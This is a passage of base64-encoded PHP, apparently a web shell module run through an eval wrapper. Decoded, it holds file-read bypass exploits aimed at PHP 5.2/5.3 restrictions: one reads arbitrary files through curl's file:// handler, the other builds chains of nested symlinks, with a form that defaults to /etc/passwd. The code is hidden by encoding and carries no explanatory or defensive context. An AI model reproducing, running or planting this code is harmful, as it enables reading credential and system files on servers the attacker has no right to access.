TVFsnaGFyZHN0eWxleiddKQ0Kew0KJGxldmVsPTA7DQoNCmlmKCFmaWxlX2V4aXN0cygiZmlsZToiKSkNCglta2RpcigiZmlsZToiKTsNCmNoZGlyKCJmaWxlOiIpOw0KJGxldmVsKys7DQoNCiRoYXJkc3R5bGUgPSBleHBsb2RlKCIvIiwgJGZpbGUpOw0KDQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGxldmVsKys7DQoJfQ0KfQ0KDQp3aGlsZSgkbGV2ZWwtLSkgY2hkaXIoIi4uIik7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZmlsZTpmaWxlOi8vLyIuJGZpbGUpOw0KDQplY2hvICc8Rk9OVCBDT0xPUj0iUkVEIj4gPHRleHRhcmVhIHJvd3M9IjEwIiBjb2xzPSIxMjAiPic7DQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KZWNobyAnIDwvdGV4dGFyZWE+IDwvRk9OVD4nOw0KY3VybF9jbG9zZSgkY2gpOw0KfQ0KPz4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIDUuMi4xMi81LjMuMTwvdGQ+DQo8dGQ+DQo8P3BocA0KDQokZmFrZWRpcj0iY3giOw0KJGZha2VkZXA9MTY7DQoNCiRudW09MDsNCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJw0KPGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ii9ldGMvcGFzc3dkIj4gLSA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJoeW0iIHZhbHVlPSJDcmVhdGUgU3ltbGluayI+PC9mb3JtPic7DQoNCmlmKGVtcHR5KCRmaWxlKSkNCglleGl0Ow0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCg0KJGxldmVsPTA7DQoNCmZvcigkYXM9MDskYXM8JGZha2VkZXA7JGFzKyspew0KCWlmKCFmaWxlX2V4aXN0cygkZmFrZWRpcikpDQoJCW1rZGlyKCRmYWtlZGlyKTsNCgljaGRpcigkZmFrZWRpcik7DQp9DQoNCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRhcysrOw0KCX0NCn0NCiRhcysrOw0Kd2hpbGUoJGFzLS0pDQoJY2hkaXIoIi4uIik7DQoNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQoNCkBzeW1saW5rKHN0cl9yZXBlYXQoJGZha2VkaXIuIi8iLCRmYWtlZGVwKSwiZmFrZXN5bWxpbmsiKTsNCg0Kd2hpbGUoMSkNCglpZih0cnVlPT0oQHN5bWxpbmsoImZha2VzeW1saW5rLyIuc3RyX3JlcGVhdCgiLi4vIiwkZmFrZWRlcC0xKS4kZmlsZSwgInN5bWxpbmsiLiRudW0pKSkgYnJlYWs7DQoJZWxzZSAkbnVtKys7DQoNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCg0KZGllKCc8Rk9OVCBDT0xPUj0iUkVEIj5jaGVjayBzeW1saW5rIDxhIGhyZWY9Ii4vc3ltbGluaycuJG51bS4nIj5zeW1saW5rJy4kbnVtLic8L2E+IGZpbGU8L0ZPTlQ+Jyk7DQoNCj8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9UQUJMRT4NCg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFzdGRpcik7IGNhcHJpdjhleGl0KCk7IA=='));?>